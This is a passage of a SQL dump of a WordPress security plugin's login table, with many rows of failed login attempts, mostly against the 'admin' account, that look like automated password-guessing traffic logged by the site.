(101814, 1498113169.875662, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101815, 1498114197.276861, 1, 'loginFailValidUsername', 'admin', 1, 466191216, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101816, 1498114198.918312, 1, 'loginFailValidUsername', 'admin', 1, 466191216, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101817, 1498115465.268262, 1, 'loginFailValidUsername', 'admin', 1, 1504899105, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101818, 1498115466.339208, 1, 'loginFailValidUsername', 'admin', 1, 1504899105, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101819, 1498120936.927215, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101820, 1498123032.393821, 1, 'loginFailValidUsername', 'admin', 1, 1731167259, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101821, 1498123034.033108, 1, 'loginFailValidUsername', 'admin', 1, 1731167259, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101822, 1498123952.156505, 1, 'loginFailValidUsername', 'admin', 1, 19917958, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101823, 1498124291.512175, 1, 'loginFailValidUsername', 'admin', 1, 2959596063, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101824, 1498124294.133243, 1, 'loginFailValidUsername', 'admin', 1, 2959596063, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101825, 1498124944.836009, 1, 'loginFailValidUsername', 'admin', 1, 1337291349, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101826, 1498124946.055550, 1, 'loginFailValidUsername', 'admin', 1, 1337291349, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101827, 1498125216.602381, 1, 'loginFailValidUsername', 'admin', 1, 1393178435, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101828, 1498125217.625442, 1, 'loginFailValidUsername', 'admin', 1, 1393178435, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101829, 1498125904.153715, 1, 'loginFailValidUsername', 'admin', 1, 1892279657, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101830, 1498125905.803015, 1, 'loginFailValidUsername', 'admin', 1, 1892279657, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101831, 1498129025.478472, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101832, 1498137406.080605, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101833, 1498137643.772358, 1, 'loginFailValidUsername', 'admin', 1, 835697955, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101834, 1498137644.948752, 1, 'loginFailValidUsername', 'admin', 1, 835697955, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101835, 1498138691.660074, 1, 'loginFailValidUsername', 'admin', 1, 1829643291, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101836, 1498138795.989653, 1, 'loginFailValidUsername', 'admin', 1, 3070050086, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101837, 1498138797.621807, 1, 'loginFailValidUsername', 'admin', 1, 3070050086, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101838, 1498140454.123668, 1, 'loginFailValidUsername', 'admin', 1, 2576789442, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101839, 1498140455.640521, 1, 'loginFailValidUsername', 'admin', 1, 2576789442, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102061, 1498362315.088163, 1, 'loginFailValidUsername', 'admin', 1, 830516292, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102062, 1498362623.945221, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102063, 1498364348.916096, 1, 'loginFailValidUsername', 'admin', 1, 3192869794, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102066, 1498369871.213092, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
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(102070, 1498372544.213921, 1, 'loginFailValidUsername', 'admin', 1, 1519446478, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102071, 1498373563.690077, 1, 'loginFailValidUsername', 'admin', 1, 1461532200, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102072, 1498373564.801463, 1, 'loginFailValidUsername', 'admin', 1, 1461532200, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102073, 1498377155.119957, 1, 'loginFailValidUsername', 'admin', 1, 1549067217, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102074, 1498377308.963039, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102075, 1498377660.440700, 1, 'loginFailValidUsername', 'admin', 1, 1933737899, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102076, 1498377662.073791, 1, 'loginFailValidUsername', 'admin', 1, 1933737899, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102077, 1498383988.769811, 1, 'loginFailValidUsername', 'admin', 1, 1530341882, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102079, 1498388809.169085, 1, 'loginFailValidUsername', 'admin', 1, 1241418658, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102082, 1498389388.276862, 1, 'loginFailValidUsername', 'admin', 1, 1566014399, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102083, 1498392561.760232, 1, 'loginFailValidUsername', 'admin', 1, 1315727755, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
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(102088, 1498395876.555470, 1, 'loginFailValidUsername', 'admin', 1, 1303385686, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102089, 1498401373.165791, 1, 'loginFailValidUsername', 'admin', 1, 657073663, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102090, 1498401377.080770, 1, 'loginFailValidUsername', 'admin', 1, 657073663, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102091, 1498401525.564155, 1, 'loginFailValidUsername', 'admin', 1, 1329113047, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102092, 1498401526.825140, 1, 'loginFailValidUsername', 'admin', 1, 1329113047, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102095, 1498402631.762053, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102096, 1498404391.222234, 1, 'loginFailValidUsername', 'admin', 1, 1422259166, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102097, 1498404392.199868, 1, 'loginFailValidUsername', 'admin', 1, 1422259166, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(102099, 1498406400.622209, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102100, 1498406400.930388, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102101, 1498406401.253950, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102102, 1498406401.569914, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102103, 1498406401.883783, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102104, 1498406402.193443, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102105, 1498406402.500756, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102106, 1498406402.810403, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102107, 1498406403.129799, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102108, 1498406403.440621, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
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(102110, 1498406404.058886, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102111, 1498406404.368091, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102112, 1498406404.680730, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102113, 1498406404.997048, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
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(102115, 1498406405.614241, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
(102116, 1498406405.921263, 1, 'loginFailValidUsername', 'admin', 1, 1255184110, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0'),
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(102119, 1498407283.448380, 1, 'loginFailValidUsername', 'admin', 1, 95219703, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102120, 1498407284.765373, 1, 'loginFailValidUsername', 'admin', 1, 95219703, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102123, 1498409676.425670, 1, 'loginFailValidUsername', 'admin', 1, 1176434257, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102124, 1498411046.562574, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102125, 1498411402.341250, 1, 'loginFailValidUsername', 'admin', 1, 87064144, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102127, 1498411593.284562, 1, 'loginFailValidUsername', 'admin', 1, 3075663157, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102134, 1498415663.832427, 1, 'loginFailValidUsername', 'admin', 1, 1458347419, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102135, 1498415976.289800, 1, 'loginFailValidUsername', 'admin', 1, 1127030815, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102136, 1498417603.333859, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102137, 1498417769.175561, 1, 'loginFailValidUsername', 'admin', 1, 1393206065, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102138, 1498417770.239064, 1, 'loginFailValidUsername', 'admin', 1, 1393206065, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102139, 1498417878.946215, 1, 'loginFailValidUsername', 'admin', 1, 1276182236, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102140, 1498417880.094962, 1, 'loginFailValidUsername', 'admin', 1, 1276182236, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102141, 1498419903.296132, 1, 'loginFailValidUsername', 'admin', 1, 759219118, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102142, 1498420669.470220, 1, 'loginFailValidUsername', 'admin', 1, 3212005169, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102143, 1498420670.899700, 1, 'loginFailValidUsername', 'admin', 1, 3212005169, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102144, 1498423493.511204, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102145, 1498424503.254493, 1, 'loginFailValidUsername', 'admin', 1, 622414627, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102146, 1498424504.246884, 1, 'loginFailValidUsername', 'admin', 1, 622414627, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102147, 1498429152.086723, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102148, 1498429980.050358, 1, 'loginFailValidUsername', 'admin', 1, 1484276859, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102149, 1498433961.436861, 1, 'loginFailValidUsername', 'admin', 1, 1348626918, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102150, 1498434923.980242, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102151, 1498436983.551828, 1, 'loginFailValidUsername', 'admin', 1, 2042128290, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102152, 1498440301.394093, 1, 'loginFailValidUsername', 'admin', 1, 2038480649, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102153, 1498440303.092167, 1, 'loginFailValidUsername', 'admin', 1, 2038480649, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102154, 1498446382.148072, 1, 'loginFailValidUsername', 'admin', 1, 2818125773, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102155, 1498446384.251963, 1, 'loginFailValidUsername', 'admin', 1, 2818125773, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102156, 1498453858.194492, 1, 'loginFailValidUsername', 'admin', 1, 2637301790, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102157, 1498453859.495400, 1, 'loginFailValidUsername', 'admin', 1, 2637301790, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102158, 1498454826.000827, 1, 'loginFailValidUsername', 'admin', 1, 2197852166, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102159, 1498454827.390536, 1, 'loginFailValidUsername', 'admin', 1, 2197852166, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102160, 1498455441.164093, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102161, 1498462773.037877, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(102162, 1498464276.058464, 1, 'loginFailValidUsername', 'admin', 1, 2994790691, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102163, 1498464277.238497, 1, 'loginFailValidUsername', 'admin', 1, 2994790691, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102164, 1498465903.211928, 1, 'loginFailValidUsername', 'admin', 1, 717868642, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102165, 1498465904.516020, 1, 'loginFailValidUsername', 'admin', 1, 717868642, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102166, 1498466958.626881, 1, 'loginFailValidUsername', 'admin', 1, 792045249, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102167, 1498468132.948212, 1, 'loginFailValidUsername', 'admin', 1, 1976968246, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102388, 1498673418.904772, 1, 'loginFailValidUsername', 'admin', 1, 3036568532, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102389, 1498676803.391858, 1, 'loginFailValidUsername', 'admin', 1, 2057456199, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102390, 1498676804.817681, 1, 'loginFailValidUsername', 'admin', 1, 2057456199, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102391, 1498679690.034125, 1, 'loginFailValidUsername', 'admin', 1, 2972444966, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102392, 1498679691.356498, 1, 'loginFailValidUsername', 'admin', 1, 2972444966, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102393, 1498681340.372706, 1, 'loginFailValidUsername', 'admin', 1, 2970133445, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102394, 1498681341.909259, 1, 'loginFailValidUsername', 'admin', 1, 2970133445, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102395, 1498682636.938534, 1, 'loginFailValidUsername', 'admin', 1, 690199419, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102396, 1498682645.189610, 1, 'loginFailValidUsername', 'admin', 1, 690199419, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102397, 1498688460.233047, 1, 'loginFailValidUsername', 'admin', 1, 2970975037, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102398, 1498688607.035809, 1, 'loginFailValidUsername', 'admin', 1, 2204950530, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102399, 1498688608.663611, 1, 'loginFailValidUsername', 'admin', 1, 2204950530, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102400, 1498689301.650388, 1, 'loginFailValidUsername', 'admin', 1, 3185120017, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102401, 1498690202.664396, 1, 'loginFailInvalidUsername', 'pour', 0, 3105930270, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102402, 1498690858.193113, 1, 'loginFailValidUsername', 'pablo', 3, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102403, 1498690860.017046, 1, 'loginFailInvalidUsername', 'vous', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102404, 1498690861.806926, 1, 'loginFailInvalidUsername', 'training', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102405, 1498690863.746675, 1, 'loginFailInvalidUsername', 'notre', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102406, 1498690865.551388, 1, 'loginFailInvalidUsername', 'pour', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102407, 1498690867.788825, 1, 'loginFailInvalidUsername', 'cross', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1');
INSERT INTO `www2_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(102408, 1498690869.611103, 1, 'loginFailInvalidUsername', 'objectifs', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102409, 1498690871.454729, 1, 'loginFailInvalidUsername', 'venez', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102410, 1498690873.465881, 1, 'loginFailInvalidUsername', 'outils', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102411, 1498690875.468181, 1, 'loginFailInvalidUsername', 'professionnel', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102412, 1498691064.397826, 1, 'loginFailValidUsername', 'admin', 1, 1096590283, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102413, 1498691065.454086, 1, 'loginFailValidUsername', 'admin', 1, 1096590283, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102414, 1498691319.089167, 1, 'loginFailValidUsername', 'admin', 1, 634530697, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102415, 1498691320.348231, 1, 'loginFailValidUsername', 'admin', 1, 634530697, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102416, 1498697011.708554, 1, 'loginFailValidUsername', 'admin', 1, 3135207294, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102417, 1498833916.722565, 1, 'loginFailInvalidUsername', 'test', 0, 2058679530, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102418, 1498833918.515638, 1, 'loginFailInvalidUsername', 'test', 0, 2058679530, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102422, 1498836672.195536, 1, 'loginFailInvalidUsername', 'test', 0, 3553507500, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102427, 1498839943.265660, 1, 'loginFailInvalidUsername', 'test', 0, 3070175989, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102443, 1498852589.409323, 1, 'loginFailValidUsername', 'admin', 1, 1755459842, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102447, 1498854741.830816, 1, 'loginFailInvalidUsername', 'test', 0, 1849098465, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102449, 1498854754.997522, 1, 'loginFailInvalidUsername', 'test', 0, 737914786, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102450, 1498856621.313104, 1, 'loginFailInvalidUsername', 'test', 0, 2908458748, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102451, 1498856622.700981, 1, 'loginFailInvalidUsername', 'test', 0, 2908458748, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102453, 1498856625.332395, 1, 'loginFailInvalidUsername', 'test', 0, 3145684820, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102456, 1498857431.107553, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1539836950, 'Mozilla/5.0 (Windows NT 5.0) AppleWebKit/532.88.35 (KHTML, like Gecko) Version/5.3.7 Safari/530.70'),
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(102705, 1499061891.204035, 1, 'loginFailValidUsername', 'pablo', 3, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
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(102710, 1499061902.983269, 1, 'loginFailInvalidUsername', 'cross', 0, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102711, 1499061905.142334, 1, 'loginFailInvalidUsername', 'objectifs', 0, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
